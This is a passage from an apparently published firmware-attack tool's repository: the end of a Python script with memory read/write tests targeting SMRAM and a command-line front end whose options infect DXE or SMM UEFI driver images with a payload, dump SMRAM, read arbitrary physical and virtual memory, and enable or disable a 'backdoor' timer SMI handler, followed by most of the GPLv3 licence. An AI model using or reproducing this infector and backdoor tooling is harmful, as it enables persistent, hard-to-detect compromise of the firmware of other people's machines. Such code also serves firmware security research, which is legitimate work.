742 | 743 | old = read_phys_mem_8(addr) 744 | 745 | write_phys_mem_8(addr, val) 746 | 747 | assert read_phys_mem_1(addr) == val & 0xff 748 | assert read_phys_mem_2(addr) == val & 0xffff 749 | assert read_phys_mem_4(addr) == val & 0xffffffff 750 | assert read_phys_mem_8(addr) == val 751 | 752 | write_phys_mem_8(addr, old) 753 | 754 | def test_unaligned(self, addr = None): 755 | ''' Test unaligned memory operations. ''' 756 | 757 | addr = self.smram_start() if addr is None else addr 758 | 759 | val = int(time.time()) 760 | 761 | old = read_phys_mem_8(addr) 762 | 763 | write_phys_mem_8(addr, 0) 764 | write_phys_mem_4(addr + 1, val) 765 | 766 | assert read_phys_mem_8(addr) == val << 8 767 | 768 | write_phys_mem_8(addr, 0) 769 | write_phys_mem_4(addr + 2, val) 770 | 771 | assert read_phys_mem_8(addr) == val << 16 772 | 773 | write_phys_mem_8(addr, 0) 774 | write_phys_mem_4(addr + 3, val) 775 | 776 | assert read_phys_mem_8(addr) == val << 24 777 | 778 | write_phys_mem_8(addr, old) 779 | 780 | def test_cross_page(self): 781 | ''' Test cross page boundary memory operations. ''' 782 | 783 | addr = self.smram_start() + PAGE_SIZE 784 | 785 | self.test_normal(addr = addr - 1) 786 | 787 | self.test_unaligned(addr = addr - 2) 788 | 789 | self.test_normal(addr = addr - 2) 790 | 791 | self.test_unaligned(addr = addr - 3) 792 | 793 | self.test_normal(addr = addr - 3) 794 | 795 | self.test_unaligned(addr = addr - 4) 796 | 797 | 798 | class TestVirtMemAccess(unittest.TestCase): 799 | 800 | def __init__(self, method): 801 | 802 | class PyObj(Structure): 803 | 804 | _fields_ = [( 'ob_refcnt', c_size_t ), 805 | ( 'ob_type', c_void_p )] 806 | 807 | # ctypes object for introspection 808 | class PyMmap(PyObj): 809 | 810 | _fields_ = [( 'ob_addr', c_size_t )] 811 | 812 | # class that inherits mmap.mmap and has the page address 813 | class Mmap(mmap.mmap): 814 | 815 | def __init__(self, *args, **kwarg): 816 | 817 | # get the page address by introspection of the native structure 818 | m = PyMmap.from_address(id(self)) 819 | self.addr = m.ob_addr 820 | 821 | self.mem_size = PAGE_SIZE * 2 822 | 823 | # allocate test memory pages 824 | self.mem = Mmap(-1, self.mem_size, mmap.PROT_WRITE) 825 | self.mem.write('\0' * self.mem_size) 826 | 827 | init() 828 | 829 | super(TestVirtMemAccess, self).__init__(method) 830 | 831 | def test_mem(self): 832 | ''' Test regular memory read/write operations. ''' 833 | 834 | data = read_virt_mem(self.mem.addr, 0x20) 835 | 836 | write_virt_mem(self.mem.addr, data) 837 | 838 | def test_normal(self, addr = None): 839 | ''' Test byte/word/dword/qword memory operations. ''' 840 | 841 | addr = self.mem.addr if addr is None else addr 842 | 843 | val = 0x0102030405060708 844 | 845 | old = read_virt_mem_8(addr) 846 | 847 | write_virt_mem_8(addr, val) 848 | 849 | assert read_virt_mem_1(addr) == val & 0xff 850 | assert read_virt_mem_2(addr) == val & 0xffff 851 | assert read_virt_mem_4(addr) == val & 0xffffffff 852 | assert read_virt_mem_8(addr) == val 853 | 854 | write_virt_mem_8(addr, old) 855 | 856 | def test_unaligned(self, addr = None): 857 | ''' Test unaligned memory operations. ''' 858 | 859 | addr = self.mem.addr if addr is None else addr 860 | 861 | val = int(time.time()) 862 | 863 | old = read_virt_mem_8(addr) 864 | 865 | write_virt_mem_8(addr, 0) 866 | write_virt_mem_4(addr + 1, val) 867 | 868 | assert read_virt_mem_8(addr) == val << 8 869 | 870 | write_virt_mem_8(addr, 0) 871 | write_virt_mem_4(addr + 2, val) 872 | 873 | assert read_virt_mem_8(addr) == val << 16 874 | 875 | write_virt_mem_8(addr, 0) 876 | write_virt_mem_4(addr + 3, val) 877 | 878 | assert read_virt_mem_8(addr) == val << 24 879 | 880 | write_virt_mem_8(addr, old) 881 | 882 | def test_cross_page(self): 883 | ''' Test cross page boundary memory operations. ''' 884 | 885 | addr = self.mem.addr + PAGE_SIZE 886 | 887 | self.test_normal(addr = addr - 1) 888 | 889 | self.test_unaligned(addr = addr - 2) 890 | 891 | self.test_normal(addr = addr - 2) 892 | 893 | self.test_unaligned(addr = addr - 3) 894 | 895 | self.test_normal(addr = addr - 3) 896 | 897 | self.test_unaligned(addr = addr - 4) 898 | 899 | 900 | def main(): 901 | 902 | option_list = [ 903 | 904 | make_option('-i', '--infect', dest = 'infect', default = None, 905 | help = 'infect existing DXE, SMM or combined driver image'), 906 | 907 | make_option('-p', '--payload', dest = 'payload', default = None, 908 | help = 'infect payload path'), 909 | 910 | make_option('-o', '--output', dest = 'output', default = None, 911 | help = 'file path to save infected file'), 912 | 913 | make_option('-t', '--test', dest = 'test', action = 'store_true', default = False, 914 | help = 'test system for active infection'), 915 | 916 | make_option('-d', '--dump-smram', dest = 'dump_smram', action = 'store_true', default = False, 917 | help = 'dump SMRAM contents into the file'), 918 | 919 | make_option('-s', '--size', dest = 'size', default = PAGE_SIZE, 920 | help = 'read size for --read-phys and --read-virt'), 921 | 922 | make_option('--read-phys', dest = 'read_phys', default = None, 923 | help = 'read physical memory page'), 924 | 925 | make_option('--read-virt', dest = 'read_virt', default = None, 926 | help = 'read virtual memory page'), 927 | 928 | make_option('--timer-enable', dest = 'timer_enable', action = 'store_true', default = False, 929 | help = 'enable periodic timer SMI handler'), 930 | 931 | make_option('--timer-disable', dest = 'timer_disable', action = 'store_true', default = False, 932 | help = 'disable periodic timer SMI handler') 933 | ] 934 | 935 | parser = OptionParser(option_list = option_list) 936 | (options, args) = parser.parse_args() 937 | 938 | if options.infect is not None: 939 | 940 | if options.payload is None: 941 | 942 | print('[!] --payload must be specified') 943 | return -1 944 | 945 | print('[+] Target image to infect: %s' % options.infect) 946 | print('[+] Infector payload: %s' % options.payload) 947 | 948 | if options.output is None: 949 | 950 | backup = options.infect + '.bak' 951 | options.output = options.infect 952 | 953 | print('[+] Backup: %s' % backup) 954 | 955 | # backup original file 956 | shutil.copyfile(options.infect, backup) 957 | 958 | print('[+] Output file: %s' % options.output) 959 | 960 | # infect source file with specified payload 961 | infect(options.infect, options.payload, dst = options.output) 962 | 963 | print('[+] DONE') 964 | 965 | return 0 966 | 967 | elif options.test: 968 | 969 | init() 970 | check_system() 971 | 972 | return 0 973 | 974 | elif options.dump_smram: 975 | 976 | init() 977 | dump_smram() 978 | 979 | return 0 980 | 981 | elif options.read_phys is not None: 982 | 983 | size = int(options.size, 16) 984 | addr = int(options.read_phys, 16) 985 | 986 | init() 987 | print(hexdump(read_phys_mem(addr, size), addr = addr)) 988 | 989 | return 0 990 | 991 | elif options.read_virt is not None: 992 | 993 | size = int(options.size, 16) 994 | addr = int(options.read_virt, 16) 995 | 996 | init() 997 | print(hexdump(read_virt_mem(addr, size), addr = addr)) 998 | 999 | return 0 1000 | 1001 | elif options.timer_enable: 1002 | 1003 | init() 1004 | backdoor_timer_enable() 1005 | 1006 | return 0 1007 | 1008 | elif options.timer_disable: 1009 | 1010 | init() 1011 | backdoor_timer_disable() 1012 | 1013 | return 0 1014 | 1015 | else: 1016 | 1017 | print('[!] No actions specified, try --help') 1018 | return -1 1019 | 1020 | 1021 | if __name__ == '__main__': 1022 | 1023 | sys.exit(main()) 1024 | 1025 | # 1026 | # EoF 1027 | # 1028 | -------------------------------------------------------------------------------- /LICENSE.TXT: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, 